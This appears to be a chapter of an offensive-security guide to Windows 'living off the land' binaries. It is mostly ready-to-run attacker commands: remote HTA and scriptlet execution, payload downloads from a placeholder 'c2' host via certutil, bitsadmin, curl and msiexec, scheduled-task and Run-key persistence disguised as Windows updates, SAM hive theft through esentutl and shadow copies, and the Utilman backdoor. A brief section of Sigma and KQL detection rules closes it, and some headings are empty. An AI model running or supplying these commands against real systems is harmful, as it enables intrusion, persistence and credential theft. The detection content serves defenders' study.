Living off the Land: Built-in Windows Tools

LOLBins (Living off the Land Binaries) are Microsoft-signed Windows executables that can execute arbitrary code, download files, or establish persistence — all while appearing as legitimate system activity. This chapter catalogs the highest-value LOLBins across execution, download/staging, persistence, and defense evasion categories, with the exact invocations, detection signatures each generates, and what separates the ones that still work from those that are reliably caught.

Why LOLBins Work Against Modern Controls

Execution LOLBins

# ── mshta.exe ──────────────────────────────────────────────────────────────
# Executes HTA (HTML Application) — VBScript/JScript with ActiveX access
# Bypasses: PowerShell restrictions, Script rules (not "Script" category in AppLocker)
mshta.exe vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""cmd /c whoami"",0:Close")
mshta.exe javascript:a=new%20ActiveXObject('wscript.shell');a.run('cmd.exe',0);close()
mshta.exe http://c2/payload.hta       # remote HTA download+execute

# ── wscript / cscript ──────────────────────────────────────────────────────
wscript.exe //E:jscript encoded.js    # explicit engine selection
cscript.exe //nologo payload.vbs

# ── regsvr32.exe (squiblydoo) ──────────────────────────────────────────────
# Loads a COM DLL or .SCT (scriptlet) — bypasses most AppLocker policies
# .sct = XML scriptlet with embedded JScript/VBScript
regsvr32.exe /u /n /s /i:http://c2/payload.sct scrobj.dll
regsvr32.exe /u /n /s /i:C:\Users\user\AppData\Local\Temp\p.sct scrobj.dll

# ── rundll32.exe ───────────────────────────────────────────────────────────
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";eval(new%20ActiveXObject('WScript.Shell').run('cmd /c calc'))
rundll32.exe C:\Users\Public\beacon.dll,DllMain   # execute a DLL

# ── MSBuild.exe ────────────────────────────────────────────────────────────
# Compiles and executes inline C# — no precompiled binary needed
# .csproj file with <UsingTask TaskFactory="CodeTaskFactory"> + shellcode
MSBuild.exe C:\Users\user\AppData\Local\Temp\payload.csproj

# ── InstallUtil.exe ────────────────────────────────────────────────────────
# Runs [System.ComponentModel.RunInstaller(true)] class in a .NET assembly
# Bypasses AppLocker "EXE" rules — classified as "installer"
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll

# ── xwizard.exe ────────────────────────────────────────────────────────────
# Loads DLL from current directory — DLL hijack path
# Copy malicious DLL as xwizards.dll to same folder as xwizard.exe (or current dir)
xwizard.exe RunWizard {00000001-0000-0000-0000-000000000000}

# ── odbcconf.exe ───────────────────────────────────────────────────────────
# Registers ODBC drivers — calls DllRegisterServer on arbitrary DLL
odbcconf.exe /a {REGSVR C:\Users\Public\beacon.dll}

Download and File Staging LOLBins

# ── certutil.exe ──────────────────────────────────────────────────────────
# Download file (heavily detected but still works in some environments):
certutil.exe -urlcache -split -f http://c2/beacon.exe C:\Windows\Temp\b.exe

# Base64 encode/decode (staging obfuscated payloads):
certutil.exe -encode payload.exe payload.b64       # encode
certutil.exe -decode payload.b64 payload_out.exe   # decode

# ── bitsadmin.exe ─────────────────────────────────────────────────────────
bitsadmin /transfer job /download /priority high http://c2/b.exe C:\Temp\b.exe

# ── curl.exe / Invoke-WebRequest ─────────────────────────────────────────
# curl is built-in since Windows 10 1803:
curl.exe -o C:\Windows\Temp\b.exe http://c2/b.exe
curl.exe -o C:\Windows\Temp\b.exe --ssl-no-revoke https://c2/b.exe

# ── powershell -EncodedCommand ───────────────────────────────────────────
# Still works even in CLM for download (CLM restricts language features, not net access)
powershell -nop -w h -enc <base64(IWR -Uri http://c2/b.exe -OutFile C:\Temp\b.exe)>

# ── expand.exe ────────────────────────────────────────────────────────────
# Expands .cab files — use makecab to package payload
expand.exe \\c2share\payload.cab C:\Windows\Temp\payload.exe

# ── finger.exe (limited, port 79) ────────────────────────────────────────
# Finger protocol client — can retrieve text from a server on port 79
# Stager retrieves encoded shellcode from a netcat listener:
# echo -ne "shellcode_hex" | nc -l 79
finger user@c2server.com | certutil -decode - shellcode.bin

Persistence LOLBins

# ── schtasks.exe ─────────────────────────────────────────────────────────
schtasks /create /tn "WindowsDefenderUpdate" \
    /tr "cmd.exe /c powershell.exe -nop -w h -enc <payload>" \
    /sc onlogon /ru SYSTEM /f

# ── reg.exe ───────────────────────────────────────────────────────────────
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" \
    /v "WinUpdate" /t REG_SZ \
    /d "C:\Windows\Temp\beacon.exe" /f

# ── wmic.exe (persistent subscription — covered in ch126) ────────────────
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE ...

# ── at.exe / schtasks for lateral movement + persistence ─────────────────
# Create task on remote host:
schtasks /create /s TARGET01 /u CORP\admin /p Password1 \
    /tn "WinUpdate" /tr "cmd /c ..." /sc daily /st 08:00

# ── msiexec.exe ───────────────────────────────────────────────────────────
# Install payload as MSI — runs as SYSTEM if elevated, as user otherwise
msiexec.exe /q /i http://c2/payload.msi
msiexec.exe /y C:\Users\Public\beacon.dll  # calls DllRegisterServer

Defense Evasion LOLBins

# ── esentutl.exe — file copy with backup semantics ───────────────────────
# Can read VSS-locked files (SAM, NTDS.dit) via backup read:
esentutl.exe /y C:\Windows\System32\config\SAM /d C:\Temp\SAM /o

# ── vssadmin.exe — shadow copy access ────────────────────────────────────
vssadmin list shadows
vssadmin create shadow /for=C:
# Then copy:
cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\

# ── icacls.exe — permissions manipulation ────────────────────────────────
icacls "C:\Windows\Temp\beacon.exe" /grant Everyone:F  # make world-writable
icacls "C:\SensitiveData" /deny Everyone:F             # deny all access (anti-forensic)

# ── takeown.exe + icacls — take ownership for privilege abuse ────────────
takeown /f C:\Windows\System32\Utilman.exe             # accessibility tool hijack
icacls C:\Windows\System32\Utilman.exe /grant Administrators:F
copy cmd.exe Utilman.exe                               # sticky keys / magnifier trick

# ── forfiles.exe — masquerade execution ──────────────────────────────────
# Executes a command for each file found — indirect execution
forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /c powershell.exe -enc <payload>"

# ── pcalua.exe — program compatibility assistant ─────────────────────────
pcalua.exe -a calc.exe -d C:\Windows\System32

LOLDrivers (BYOVD) Reference

Detection Engineering

title: regsvr32 Loading Remote SCT (Squiblydoo)
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\regsvr32.exe'
    CommandLine|contains:
      - 'scrobj.dll'
      - '/i:http'
      - '/i:ftp'
  condition: selection
level: high
tags: [attack.defense_evasion, T1218.010]

title: certutil Download via urlcache
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\certutil.exe'
    CommandLine|contains:
      - '-urlcache'
      - '-verifyctl'
  filter_legit:
    CommandLine|contains: 'microsoft.com'
  condition: selection AND NOT filter_legit
level: high

title: mshta Inline Script Execution
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\mshta.exe'
    CommandLine|contains:
      - 'vbscript:'
      - 'javascript:'
      - 'http://'
      - 'https://'
  condition: selection
level: high
tags: [attack.execution, T1218.005]

-- MDE KQL: MSBuild executing code — C# compilation at runtime
DeviceProcessEvents
| where FileName =~ "MSBuild.exe"
| where ProcessCommandLine has_any (".csproj", ".targets", ".xml")
| where FolderPath has_any ("Temp", "AppData", "Public", "Downloads")
| project Timestamp, DeviceName, ProcessCommandLine, AccountName,
          InitiatingProcessFileName

Q&A